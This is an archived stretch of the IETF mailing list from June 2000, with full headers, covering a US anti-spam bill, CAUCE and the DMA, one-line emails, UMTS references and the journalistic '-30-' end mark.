not have posted my understanding of CAUCE's relationship with DMA
without substantiation.

Personally I don't see how such things can ever be substantiated
anyway - it seems to be the nature of politics that you rarely 
have verifiable information about anything.

However the information I have is approximately a year old. 
And it is of course possible that the information I was told was wrong,
or that I misinterpreted it, or that the CAUCE folks have backed off
from supporting the DMA in the past year.

Naturally I hope I was wrong or misinformed about CAUCE - because
I would far rather believe that they're on the side of good.  But
I've seen too much dirty stuff in general to be that optimistic
about *any* organization.

In any case, I hope that net-knowledgable US citizens will *personally* 
read this bill (make sure you read the latest amended version) and 
*personally* let their congresscritters understand how they feel about 
the bill itself and spam in general.

Even if CAUCE is well-intentioned, don't trust them to deliver the message
alone.

Keith



From owner-ietf-outbound  Fri Jun 16 13:20:25 2000
Received: by ietf.org (8.9.1a/8.9.1a) id NAA17690
	for ietf-outbound.10@ietf.org; Fri, 16 Jun 2000 13:20:02 -0400 (EDT)
Received: from chinacat.unicom.com (chinacat.unicom.com [192.108.105.34])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id NAA17658
	for <ietf@ietf.org>; Fri, 16 Jun 2000 13:18:44 -0400 (EDT)
Received: (from chip@localhost)
	by chinacat.unicom.com (8.10.1/8.10.1) id e5GHIiC27065
	for ietf@ietf.org; Fri, 16 Jun 2000 12:18:44 -0500
Date: Fri, 16 Jun 2000 12:18:44 -0500
From: Chip Rosenthal <chip@unicom.com>
To: ietf@ietf.org
Subject: Re: fyi.. House Committee Passes Bill Limiting Spam E-Mail
Message-ID: <20000616121844.B26443@chinacat.unicom.com>
Mail-Followup-To: ietf@ietf.org
References: <4.3.1.0.20000615185233.02f6b830@209.81.50.25> <200006160135.VAA03516@astro.cs.utk.edu>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Mailer: Mutt 0.95.4us
In-Reply-To: <200006160135.VAA03516@astro.cs.utk.edu>; from Keith Moore on Thu, Jun 15, 2000 at 09:35:23PM -0400
X-Loop: ietf@ietf.org

On Thu, Jun 15, 2000 at 09:35:23PM -0400, Keith Moore wrote:
> And I hope that the courts will finally realize that freedom of speech 
> includes the freedom not to have your communications disrupted by people 
> who want to sell you things.

The biggest problem with the bill, as it currently reads, is that the
transport notification has been dropped.  There was an ID by Hoffman
and Levine (I believe since expired, can't find it now) that allowed
an organization to "opt out" from unsolicited commercial email by
indicating so in the SMTP banner.

For instance ...

220 garcon.unicom.com ESMTP Sendmail [NO UCE, C=US, L=TX]; Fri, 16 Jun 2000 12:11:02 -0500 (CDT)

Although "opt out" in general is evil, this actually is quite nice.  The
organization need opt out only once (in the SMTP banner), and the effect
should be immediate.

The bottom line is that although the bill has some unsavory aspects (hey,
this is politics, dontcha know), it is well intended, and restoral of the
banner notification could be a serious tool in the fight against junk
email.

-- 
Chip Rosenthal <chip@unicom.com>                      http://www.unicom.com/
Protect your mail server against spam.                http://mail-abuse.org/
Junk email is theft.  There ought to be a law.        http://www.cauce.org/
Preserve the monopoly & protect innovation: BSoD, paper clip, email worms, ...



From owner-ietf-outbound  Fri Jun 16 14:00:15 2000
Received: by ietf.org (8.9.1a/8.9.1a) id OAA18870
	for ietf-outbound.10@ietf.org; Fri, 16 Jun 2000 14:00:03 -0400 (EDT)
Received: from shell.servuhome.net (IDENT:root@dsl-208-161-103-32.easystreet.com [208.161.103.32])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id NAA18816
	for <ietf@ietf.org>; Fri, 16 Jun 2000 13:59:14 -0400 (EDT)
Received: from weberfamily (pm09-s10-tier1.evansville.net [204.120.29.11])
	by shell.servuhome.net (8.10.1/8.8.7) with SMTP id e5GHwgS24778;
	Fri, 16 Jun 2000 10:58:42 -0700
Message-ID: <002301bfd7bc$954c6ae0$0b1d78cc@weberfamily>
From: "Kurt Weber" <kurt@servuhome.net>
To: "Keith Moore" <moore@cs.utk.edu>
Cc: <ietf@ietf.org>
References: <200006161614.MAA29174@astro.cs.utk.edu>
Subject: Re: CAUCE and DMA
Date: Fri, 16 Jun 2000 12:59:12 -0500
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.00.2919.6600
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2919.6600
Content-Transfer-Encoding: 7bit
X-Loop: ietf@ietf.org
Content-Transfer-Encoding: 7bit

To be perfectly honest, the relation between CAUCE (Coalition Against
Unsolicited Commercial Email) and the DMA (Direct Marketers' Assocation)
makes perfect sense.  Spam has a negative effect on profits of members of
the DMA, because DMA members do their business through postal mail.
Therefore, elimination of spam makes perfect sense for the DMA.

Regards,
Kurt Weber
kurt@rowsw.com
ROW Software and Web Design
http://www.rowsw.com

----- Original Message -----
From: "Keith Moore" <moore@cs.utk.edu>
To: <ietf@ietf.org>
Cc: <moore@cs.utk.edu>
Sent: Friday, June 16, 2000 11:14 AM
Subject: CAUCE and DMA


> A couple of people have pointed out in private email that I should
> not have posted my understanding of CAUCE's relationship with DMA
> without substantiation.
>
> Personally I don't see how such things can ever be substantiated
> anyway - it seems to be the nature of politics that you rarely
> have verifiable information about anything.
>
> However the information I have is approximately a year old.
> And it is of course possible that the information I was told was wrong,
> or that I misinterpreted it, or that the CAUCE folks have backed off
> from supporting the DMA in the past year.
>
> Naturally I hope I was wrong or misinformed about CAUCE - because
> I would far rather believe that they're on the side of good.  But
> I've seen too much dirty stuff in general to be that optimistic
> about *any* organization.
>
> In any case, I hope that net-knowledgable US citizens will *personally*
> read this bill (make sure you read the latest amended version) and
> *personally* let their congresscritters understand how they feel about
> the bill itself and spam in general.
>
> Even if CAUCE is well-intentioned, don't trust them to deliver the message
> alone.
>
> Keith
>



From owner-ietf-outbound  Fri Jun 16 14:10:10 2000
Received: by ietf.org (8.9.1a/8.9.1a) id OAA19299
	for ietf-outbound.10@ietf.org; Fri, 16 Jun 2000 14:10:03 -0400 (EDT)
Received: from astro.cs.utk.edu (ASTRO.CS.UTK.EDU [128.169.93.168])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id OAA18988
	for <ietf@ietf.org>; Fri, 16 Jun 2000 14:01:26 -0400 (EDT)
Received: from astro.cs.utk.edu (LOCALHOST [127.0.0.1])
        by astro.cs.utk.edu (cf 8.9.3) with ESMTP id OAA01457;
        Fri, 16 Jun 2000 14:01:24 -0400 (EDT)
Message-Id: <200006161801.OAA01457@astro.cs.utk.edu>
X-URI: http://www.cs.utk.edu/~moore/
From: Keith Moore <moore@cs.utk.edu>
To: Chip Rosenthal <chip@unicom.com>
cc: ietf@ietf.org
Subject: Re: fyi.. House Committee Passes Bill Limiting Spam E-Mail 
In-reply-to: Your message of "Fri, 16 Jun 2000 12:18:44 CDT."
             <20000616121844.B26443@chinacat.unicom.com> 
Date: Fri, 16 Jun 2000 14:01:24 -0400
Sender: moore@cs.utk.edu
X-Loop: ietf@ietf.org

> The bottom line is that although the bill has some unsavory aspects (hey,
> this is politics, dontcha know), it is well intended, and restoral of the
> banner notification could be a serious tool in the fight against junk
> email.

sure, but there's no way the DMA is going to let that happen.
they'll water down the bill (as they have done) to make it almost
completely ineffective at stopping spam.  their idea is to raise
the bar for spam just enough that maybe the porn merchants can't use it
but folks trying to sell you soap or cars or whatever can use it. 

and the folks who supported the compromise (in the name of trying to
get *some* bill passed) end up having to support a bill that actually
makes the situation worse. 

Keith



From owner-ietf-outbound  Fri Jun 16 14:20:09 2000
Received: by ietf.org (8.9.1a/8.9.1a) id OAA19709
	for ietf-outbound.10@ietf.org; Fri, 16 Jun 2000 14:20:03 -0400 (EDT)
Received: from watsun.cc.columbia.edu (watsun.cc.columbia.edu [128.59.39.2])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id OAA19255
	for <ietf@ietf.org>; Fri, 16 Jun 2000 14:09:38 -0400 (EDT)
Received: (from jaltman@localhost)
	by watsun.cc.columbia.edu (8.8.5/8.8.5) id OAA28187;
	Fri, 16 Jun 2000 14:09:07 -0400 (EDT)
Date: Fri, 16 Jun 2000 14:09:06 EDT
From: Jeffrey Altman <jaltman@columbia.edu>
Reply-To: jaltman@columbia.edu
To: Lillian Komlossy <Lillian@dmnews.com>
Cc: "'ietf@ietf.org'" <ietf@ietf.org>
Subject: Re: fyi.. House Committee Passes Bill Limiting Spam E-Mail
In-Reply-To: Your message of Fri, 16 Jun 2000 09:28:35 -0400
Message-ID: <CMM.0.90.4.961178946.jaltman@watsun.cc.columbia.edu>
X-Loop: ietf@ietf.org

> Perhaps one of the solution would be to limit the amount of addressees one
> email can go out to simultaneously. Imagine Joe Spammer would have to send
> out his junk say to max 30 addresses at a time. Or even 100. It would not
> impair normal users because we do not send mail to more than a few addresses
> at a time - but it would make spamming a little more difficult.
> I already hear the argument: There'd be "solutions" to circumvent this
> limitation faster than it would be implemented. Still I think it is worth
> the debate. What do you think?

The premise is not true.  When planning parties or even
volleyball tournaments I frequently send out e-mail to several hundred
friends.  This is not spam.  Arbitrary limits are not the answer.




    Jeffrey Altman * Sr.Software Designer * Kermit-95 for Win32 and OS/2
                 The Kermit Project * Columbia University
              612 West 115th St #716 * New York, NY * 10025
  http://www.kermit-project.org/k95.html * kermit-support@kermit-project.org




From owner-ietf-outbound  Fri Jun 16 15:00:09 2000
Received: by ietf.org (8.9.1a/8.9.1a) id PAA21115
	for ietf-outbound.10@ietf.org; Fri, 16 Jun 2000 15:00:01 -0400 (EDT)
Received: from odd.qualcomm.com (odd.qualcomm.com [129.46.2.48])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id OAA21019
	for <ietf@ietf.org>; Fri, 16 Jun 2000 14:56:57 -0400 (EDT)
Received: from davespc (primemover-client08.qualcomm.com [129.46.86.73]) by odd.qualcomm.com (8.9.3/8.9.3/1.0) with SMTP id LAA26364 for <ietf@ietf.org>; Fri, 16 Jun 2000 11:56:57 -0700 (PDT)
From: "Dave Miller" <dsmiller@qualcomm.com>
To: <ietf@ietf.org>
Subject: Do we have a formal way to send a one-line 'email' which is it's own subject? <eom>
Date: Fri, 16 Jun 2000 11:56:57 -0700
Message-ID: <NDBBKPPEGLPBBMEPIBPMEEFOCCAA.dsmiller@qualcomm.com>
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0)
Importance: Normal
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2615.200
Content-Transfer-Encoding: 7bit
X-Loop: ietf@ietf.org
Content-Transfer-Encoding: 7bit

not chat :)



From owner-ietf-outbound  Fri Jun 16 15:20:12 2000
Received: by ietf.org (8.9.1a/8.9.1a) id PAA21820
	for ietf-outbound.10@ietf.org; Fri, 16 Jun 2000 15:20:03 -0400 (EDT)
Received: from UMKC-MAIL01.umkc.edu (email.exchange.umkc.edu [134.193.71.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id PAA21284
	for <ietf@ietf.org>; Fri, 16 Jun 2000 15:02:48 -0400 (EDT)
Received: by email.exchange.umkc.edu with Internet Mail Service (5.5.2650.21)
	id <LWK0YVX5>; Fri, 16 Jun 2000 14:02:48 -0500
Message-ID: <70805CBA8CD4D211A8090060945155F301D73325@email.exchange.umkc.edu>
From: ANTIGEN_UMKC-MAIL01 <ANTIGEN_UMKC-MAIL01@umkc.edu>
To: "'ietf@ietf.org'" <ietf@ietf.org>
Subject: Antigen found HLL.cmp.41732.swp virus
Date: Fri, 16 Jun 2000 14:02:43 -0500
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: text/plain
X-Loop: ietf@ietf.org

You have recently received a virus infected message.  Please read this whole
message for details.

In a message with the subject of:  "Do we have a formal way to send a one-line
'email' which is it's own subject? <eom>"
Sent from: Dave Miller  
At the email address of: dsmiller@qualcomm.com 
Antigen for Exchange found the file: Unknown  
Infected with the virus:  HLL.cmp.41732.swp  .
The file is:  Deleted.  

The message was sent to: ,ietf@ietf.org
The message was discovered in the folder: IMC Queues\Inbound  located at
University of Missouri/Kansas City/UMKC-MAIL01.

     If the person that sent you a message with the subject line of: Do we have
a formal way to send a one-line 'email' which is it's own subject? <eom> was
from UMKC, your copy of this message has probably been cleaned.  You may want to
have the sender resend the message after they have disinfected their machine
just to be safe.

     If the person that sent you a message with the subject line of: Do we have
a formal way to send a one-line 'email' which is it's own subject? <eom> was NOT
from UMKC, you have an infected copy of the message and you should delete it
without opening it.  Then contact that person about getting you a new copy after
they have cleaned their machine.



From owner-ietf-outbound  Fri Jun 16 15:30:19 2000
Received: by ietf.org (8.9.1a/8.9.1a) id PAA22102
	for ietf-outbound.10@ietf.org; Fri, 16 Jun 2000 15:30:01 -0400 (EDT)
Received: from black-ice.cc.vt.edu (root@black-ice.cc.vt.edu [128.173.14.71])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id PAA22039
	for <ietf@ietf.org>; Fri, 16 Jun 2000 15:27:03 -0400 (EDT)
From: Valdis.Kletnieks@vt.edu
Received: from black-ice.cc.vt.edu (valdis@LOCALHOST [127.0.0.1])
	by black-ice.cc.vt.edu (8.11.0.Beta1/8.11.0.Beta1) with ESMTP id e5GJR2L54100;
	Fri, 16 Jun 2000 15:27:02 -0400
Message-Id: <200006161927.e5GJR2L54100@black-ice.cc.vt.edu>
X-Mailer: exmh version 2.2 06/16/2000 with nmh-1.0.4+dev
To: Dave Miller <dsmiller@qualcomm.com>
Cc: ietf@ietf.org
Subject: Re: Do we have a formal way to send a one-line 'email' which is it's own subject? <eom> 
In-Reply-To: Your message of "Fri, 16 Jun 2000 11:56:57 PDT."
             <NDBBKPPEGLPBBMEPIBPMEEFOCCAA.dsmiller@qualcomm.com> 
X-Url: http://black-ice.cc.vt.edu/~valdis/
X-Face: 34C9$Ewd2zeX+\!i1BA\j{ex+$/V'JBG#;3_noWWYPa"|,I#`R"{n@w>#:{)FXyiAS7(8t(
 ^*w5O*!8O9YTe[r{e%7(yVRb|qxsRYw`7J!`AM}m_SHaj}f8eb@d^L>BrX7iO[<!v4-0bVIpaxF#-)
 %9#a9h6JXI|T|8o6t\V?kGl]Q!1V]GtNliUtz:3},0"hkPeBuu%E,j(:\iOX-P,t7lRR#
References: <NDBBKPPEGLPBBMEPIBPMEEFOCCAA.dsmiller@qualcomm.com>
Mime-Version: 1.0
Content-Type: multipart/signed; boundary="==_Exmh_183827908P";
	 micalg=pgp-sha1; protocol="application/pgp-signature"
Content-Transfer-Encoding: 7bit
Date: Fri, 16 Jun 2000 15:27:02 -0400
X-Loop: ietf@ietf.org

--==_Exmh_183827908P
Content-Type: text/plain; charset=us-ascii

On Fri, 16 Jun 2000 11:56:57 PDT, Dave Miller <dsmiller@qualcomm.com>  said:
> not chat :)

Umm.. I don't see anything in the RFC822 syntax that prohibits a null
message body.  On most Unix systems, 

/bin/mailx -s "Your One liner here" user@wherever.com < /dev/null

does what you want (modulo a "Null message body, hope thats ok") warning.

From your message headers, it appears that you're using Microsoft Outlook.
Is it prohibiting sending a null body?  If so, that's a Microsoft issue,
as null messages are, as far as I can tell, legal.

(Well... OK.. the Protocol Police will note that you actually need a number
of CR/LF pairs to properly end the RFC822 headers.  I suspect the minimal
termination to the SMTP DATA is:

<last RFC822 header> CR LF CR LF . CR LF

Although Sendmail seems to allow just one CR/LF pair before the SMTP . and
not get upset, that doesn't make it legal...

-- 
				Valdis Kletnieks
				Operating Systems Analyst
				Virginia Tech


--==_Exmh_183827908P
Content-Type: application/pgp-signature

-----BEGIN PGP SIGNATURE-----
Version: PGP 6.5.2

iQA/AwUBOUp/hXAt5Vm009ewEQLUkQCeJWr7xI7Y9AUF6gLoQZ/RajpSH2gAnjOt
hNXI1sDd6SHHGroUubsvHiKN
=bxv2
-----END PGP SIGNATURE-----

--==_Exmh_183827908P--



From owner-ietf-outbound  Fri Jun 16 17:20:27 2000
Received: by ietf.org (8.9.1a/8.9.1a) id RAA24841
	for ietf-outbound.10@ietf.org; Fri, 16 Jun 2000 17:20:02 -0400 (EDT)
Received: from mail2.itu.int (mail2.itu.ch [156.106.192.18])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id RAA24589
	for <ietf@ietf.org>; Fri, 16 Jun 2000 17:10:16 -0400 (EDT)
Received: by mail2.itu.ch with Internet Mail Service (5.5.2650.21)
	id <M5YTY7H1>; Fri, 16 Jun 2000 23:06:08 +0200
Message-ID: <DA5558CC09AED311ABE10000778D757F4C2DC0@mailsrv.itu.ch>
From: "Shaw, Robert" <Robert.Shaw@itu.int>
To: "'Parkinson, Jonathan'" <Jonathan.Parkinson@compaq.com>
Cc: "'ietf@ietf.org'" <ietf@ietf.org>
Subject: RE: Universal Mobile Telecommunication Service (UMTS)
Date: Fri, 16 Jun 2000 23:09:45 +0200
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: text/plain;
	charset="iso-8859-1"
X-Loop: ietf@ietf.org

> -----Original Message-----
> From: Parkinson, Jonathan [mailto:Jonathan.Parkinson@compaq.com]
> Sent: 16 June 2000 17:12
> To: ietf@ietf.org
> Subject: Universal Mobile Telecommunication Service (UMTS)
> 
> 
> Hi there Folks
> Just a quickie, anyone know where I can get information 
> relating to Universal Mobile Telecommunication Service (UMTS) ?

A vast and complex subject. What exactly are you interested in...?

You can try http://www.umts-forum.org/ - they'll point you to a 
lot of recent ITU IMT-2000 references (UMTS is part of the IMT-2000 
family - see http://www.itu.int/imt/). Key news is from the recent
ITU World Radiocommunication Assembly and Conference in 
Instanbul where the the air interface specs were approved and 
related global spectrum bands were allocated offering global roaming 
possibilities (albeit multi-band) with a low-cost handset/terminal.

Key features of IMT-2000 include:

* a limited set of radio transmission technologies ("RTT") with 
  commonality of design worldwide;
* global roaming capabilities;
* support for minimum high speed mobile data rates of 384 kbps to 
  2 Mbps, depending on the environment;
* support for packet data services (e.g., IP) with asymmetric and 
  symmetric data bit rates and QoS;
* linkage with terrestrial, satellite-based and fixed wireless access 
  networks.

IMT-2000 systems are standardized in a set of interdependent ITU 
Radicommunication (ITU-R) and ITU Standardization Sector (ITU-T) 
Recommendations. ITU-R M.1457 Recommendation documents the IMT-2000 
family of RTT specs and was approved in May. The "pre-publication" 
~300 page radio spec can be purchased at 
http://www.itu.int/itudoc/itu-r/draftpub/m/1045.html 

The Japanese will be the first to deploy W-CDMA-based IMT-2000 systems 
in early 2001 and the fun part will be the pricing model they'll decide 
to use for delivering multimedia QoSed services. If NTT Docomo's i-mode 
success and pricing model is any indicator of what's to come (0 to
7 million subscribers in 16 months even at 9.6 kbps) the IP strategic 
platform of tomorrow is going to turn mobile within the next 24 months... 

Of course the big question is whether this market will be driven from
the PDA side or the traditional handset manufacturer side (Motorola, 
Ericsson, Nokia)... 

Bob
--
Robert Shaw <robert.shaw@itu.int>
ITU Internet Strategy and Policy Advisor
International Telecommunication Union <http://www.itu.int>
Place des Nations, 1211 Geneva, Switzerland
 



From owner-ietf-outbound  Fri Jun 16 18:40:17 2000
Received: by ietf.org (8.9.1a/8.9.1a) id SAA27077
	for ietf-outbound.10@ietf.org; Fri, 16 Jun 2000 18:40:01 -0400 (EDT)
Received: from myri.com (citadel.myri.com [199.120.212.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id SAA26935
	for <ietf@ietf.org>; Fri, 16 Jun 2000 18:32:18 -0400 (EDT)
Received: from umax8.myri.com (umax8.myri.com [199.120.212.168])
	by myri.com (8.9.3+Sun/8.9.1) with ESMTP id PAA03155;
	Fri, 16 Jun 2000 15:31:45 -0700 (PDT)
Received: from umax8.myri.com (cohen@localhost [127.0.0.1])
	by umax8.myri.com (8.8.7/8.8.7) with ESMTP id PAA07206;
	Fri, 16 Jun 2000 15:31:46 -0700
Message-Id: <200006162231.PAA07206@umax8.myri.com>
To: "Dave Miller" <dsmiller@qualcomm.com>
To: ietf@ietf.org
Cc: Danny Cohen <DannyCohen@IEEE.ORG>
From: Danny Cohen <DannyCohen@IEEE.ORG>
Reply-to: Danny Cohen <DannyCohen@IEEE.ORG>
Subject: Re[1]: Do we have a formal way to send a one-line 'email' which is it's own subject?
Date: Fri, 16 Jun 2000 15:31:46 -0700
Sender: cohen@myri.com
X-Loop: ietf@ietf.org

Dave,

In the "old times" many used "$" for the sought after <eom>.

Several use "[]" nowadays for that purpose (may be because it is 
similar to the end-of-article symbol in magazines like TIME).

                                                    Danny



From owner-ietf-outbound  Fri Jun 16 19:00:20 2000
Received: by ietf.org (8.9.1a/8.9.1a) id TAA27523
	for ietf-outbound.10@ietf.org; Fri, 16 Jun 2000 19:00:03 -0400 (EDT)
Received: from rip.psg.com (rip.psg.com [147.28.0.39])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id SAA27408
	for <ietf@ietf.org>; Fri, 16 Jun 2000 18:54:22 -0400 (EDT)
Received: from randy by rip.psg.com with local (Exim 3.13 #1)
	id 133503-000NI4-00; Fri, 16 Jun 2000 15:54:07 -0700
From: Randy Bush <randy@psg.com>
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
To: Danny Cohen <DannyCohen@IEEE.ORG>
Cc: ietf <ietf@ietf.org>
Subject: Re: Re[1]: Do we have a formal way to send a one-line 'email' which is it's own subject?
References: <200006162231.PAA07206@umax8.myri.com>
Message-Id: <E133503-000NI4-00@rip.psg.com>
Date: Fri, 16 Jun 2000 15:54:07 -0700
Content-Transfer-Encoding: 7bit
X-Loop: ietf@ietf.org
Content-Transfer-Encoding: 7bit

-30- is the classical press symbol.  press folk got it from telegraphers
where it goes back at least to 1859 [*].

randy

---

[*] "Wirespeak", Richard M. Harnett



From owner-ietf-outbound  Fri Jun 16 21:00:17 2000
Received: by ietf.org (8.9.1a/8.9.1a) id VAA29463
	for ietf-outbound.10@ietf.org; Fri, 16 Jun 2000 21:00:02 -0400 (EDT)
Received: from rip.psg.com (rip.psg.com [147.28.0.39])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id UAA29433
	for <ietf@ietf.org>; Fri, 16 Jun 2000 20:59:06 -0400 (EDT)
Received: from randy by rip.psg.com with local (Exim 3.13 #1)
	id 1336wz-000Nu9-00; Fri, 16 Jun 2000 17:59:05 -0700
From: Randy Bush <randy@psg.com>
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
To: Danny Cohen <DannyCohen@IEEE.ORG>
Cc: ietf <ietf@ietf.org>
Subject: Re: What is -30- ?
References: <200006170052.RAA07444@umax8.myri.com>
Message-Id: <E1336wz-000Nu9-00@rip.psg.com>
Date: Fri, 16 Jun 2000 17:59:05 -0700
Content-Transfer-Encoding: 7bit
X-Loop: ietf@ietf.org
Content-Transfer-Encoding: 7bit

> I live in UNIXland and don't know what -30- is.

a hyphen, a three, a zero, and another hyphen.

randy, also in unixland with a standard keyboard

-30-



From owner-ietf-outbound  Fri Jun 16 21:10:09 2000
Received: by ietf.org (8.9.1a/8.9.1a) id VAA29635
	for ietf-outbound.10@ietf.org; Fri, 16 Jun 2000 21:10:02 -0400 (EDT)
Received: from tooran.byname.net ([198.62.92.29])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id VAA29480
	for <ietf@ietf.org>; Fri, 16 Jun 2000 21:00:58 -0400 (EDT)
Received: (qmail 27517 invoked by uid 100); 17 Jun 2000 01:00:37 -0000
Date: 17 Jun 2000 01:00:37 -0000
Message-ID: <20000617010037.27516.qmail@tooran.byname.net>
MIME-Version: 1.0
From: Mohsen BANAN-Public <public@mohsen.banan.1.byname.net>
To: "Dave Miller" <dsmiller@qualcomm.com>
Cc: <ietf@ietf.org>
Subject: Re: Do we have a formal way to send a one-line 'email' which is it's own subject? <eom>
In-Reply-To: <NDBBKPPEGLPBBMEPIBPMEEFOCCAA.dsmiller@qualcomm.com>
References: <NDBBKPPEGLPBBMEPIBPMEEFOCCAA.dsmiller@qualcomm.com>
X-Mailer: VM 6.33 under 19.15p7 XEmacs Lucid
Content-Type: text/plain; charset=US-ASCII
X-Loop: ietf@ietf.org


>>>>> On Fri, 16 Jun 2000 11:56:57 -0700, "Dave Miller" <dsmiller@qualcomm.com> said:

  Dave> not chat :)

Then, I assume what you are looking for is an 

  Efficient Mail Submission and Delivery Protocol (EMSD)

which is optimized for short messages.


Look at RFC-2524 and RFC-2188.

EMSD is roughly 5 times more efficient than SMTP for
short messages that fit in a one-line 'email'.

More on this later.

...Mohsen.


P.S.

What do you want this for?



From owner-ietf-outbound  Fri Jun 16 22:30:32 2000
Received: by ietf.org (8.9.1a/8.9.1a) id WAA01097
	for ietf-outbound.10@ietf.org; Fri, 16 Jun 2000 22:30:02 -0400 (EDT)
Received: from imo-r17.mx.aol.com (imo-r17.mx.aol.com [152.163.225.71])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id WAA01068
	for <ietf@ietf.org>; Fri, 16 Jun 2000 22:28:37 -0400 (EDT)
From: Mmagain2@aol.com
Received: from Mmagain2@aol.com
	by imo-r17.mx.aol.com (mail_out_v27.10.) id l.fb.720d832 (4254)
	 for <ietf@ietf.org>; Fri, 16 Jun 2000 22:28:02 -0400 (EDT)
Message-ID: <fb.720d832.267c3c31@aol.com>
Date: Fri, 16 Jun 2000 22:28:01 EDT
Subject: No Subject
To: ietf@ietf.org
MIME-Version: 1.0
Content-Type: text/plain; charset="US-ASCII"
Content-Transfer-Encoding: 7bit
X-Mailer: AOL 4.0 for Mac - Post-GM sub 56
Content-Transfer-Encoding: 7bit
X-Loop: ietf@ietf.org
Content-Transfer-Encoding: 7bit

unscribe



From owner-ietf-outbound  Fri Jun 16 23:00:16 2000
Received: by ietf.org (8.9.1a/8.9.1a) id XAA02363
	for ietf-outbound.10@ietf.org; Fri, 16 Jun 2000 23:00:02 -0400 (EDT)
Received: from mtiwmhc26.worldnet.att.net (mtiwmhc26.worldnet.att.net [204.127.131.51])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id WAA02328
	for <ietf@ietf.org>; Fri, 16 Jun 2000 22:58:00 -0400 (EDT)
Received: from jayholt ([12.79.0.173]) by mtiwmhc26.worldnet.att.net
          (InterMail vM.4.01.02.39 201-229-119-122) with SMTP
          id <20000617025732.YNMI9011.mtiwmhc26.worldnet.att.net@jayholt>;
          Sat, 17 Jun 2000 02:57:32 +0000
Message-ID: <000b01bfd807$c57345e0$ad004f0c@jayholt>
From: "Jay Holt" <jayholt@worldnet.att.net>
To: "Randy Bush" <randy@psg.com>, "Danny Cohen" <DannyCohen@IEEE.ORG>
Cc: "ietf" <ietf@ietf.org>
References: <200006170052.RAA07444@umax8.myri.com> <E1336wz-000Nu9-00@rip.psg.com>
Subject: Re: What is -30- ?
Date: Fri, 16 Jun 2000 22:57:25 -0400
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.00.2919.6600
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2919.6600
Content-Transfer-Encoding: 7bit
X-Loop: ietf@ietf.org
Content-Transfer-Encoding: 7bit

In newspaper lingo -30- means "the end", as at the end of an article or
story.  At the bottom of a page for a story that continues, one puts "more";
if it's the end of the story, one puts "-30-" or " # ".  This is the copy in
the office.  It doesn't appear in the newspaper or magazine.



From owner-ietf-outbound  Sat Jun 17 01:20:36 2000
Received: by ietf.org (8.9.1a/8.9.1a) id BAA06049
	for ietf-outbound.10@ietf.org; Sat, 17 Jun 2000 01:20:03 -0400 (EDT)
Received: from cse.hanyang.ac.kr (cse.hanyang.ac.kr [166.104.226.93])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id BAA05085
	for <ietf@ietf.org>; Sat, 17 Jun 2000 01:13:28 -0400 (EDT)
Received: from kojongha ([166.104.224.13])
	by cse.hanyang.ac.kr (8.8.8H2/8.8.8) with SMTP id OAA24147
	for <ietf@ietf.org>; Sat, 17 Jun 2000 14:10:52 +0900 (KST)
Message-ID: <000a01bfd812$70d85560$0de068a6@hanyang.ac.kr>
From: =?ks_c_5601-1987?B?sO3BvsfP?= <jhko@cse.hanyang.ac.kr>
To: <ietf@ietf.org>
Subject: mail test
Date: Sat, 17 Jun 2000 13:13:49 +0900
MIME-Version: 1.0
Content-Type: multipart/alternative;
	boundary="----=_NextPart_000_0007_01BFD85D.E05B4820"
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.50.4029.2901
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4029.2901
X-Loop: ietf@ietf.org

This is a multi-part message in MIME format.

------=_NextPart_000_0007_01BFD85D.E05B4820
Content-Type: text/plain;
	charset="ks_c_5601-1987"
Content-Transfer-Encoding: base64

DQo=

------=_NextPart_000_0007_01BFD85D.E05B4820
Content-Type: text/html;
	charset="ks_c_5601-1987"
Content-Transfer-Encoding: base64

PCFET0NUWVBFIEhUTUwgUFVCTElDICItLy9XM0MvL0RURCBIVE1MIDQuMCBUcmFuc2l0aW9uYWwv
L0VOIj4NCjxIVE1MPjxIRUFEPg0KPE1FVEEgaHR0cC1lcXVpdj1Db250ZW50LVR5cGUgY29udGVu
dD0idGV4dC9odG1sOyBjaGFyc2V0PWtzX2NfNTYwMS0xOTg3Ij4NCjxNRVRBIGNvbnRlbnQ9Ik1T
SFRNTCA1LjUwLjQwMzAuMjQwMCIgbmFtZT1HRU5FUkFUT1I+DQo8U1RZTEU+PC9TVFlMRT4NCjwv
SEVBRD4NCjxCT0RZIGJnQ29sb3I9I2ZmZmZmZj4NCjxESVY+Jm5ic3A7PC9ESVY+PC9CT0RZPjwv
SFRNTD4NCg==

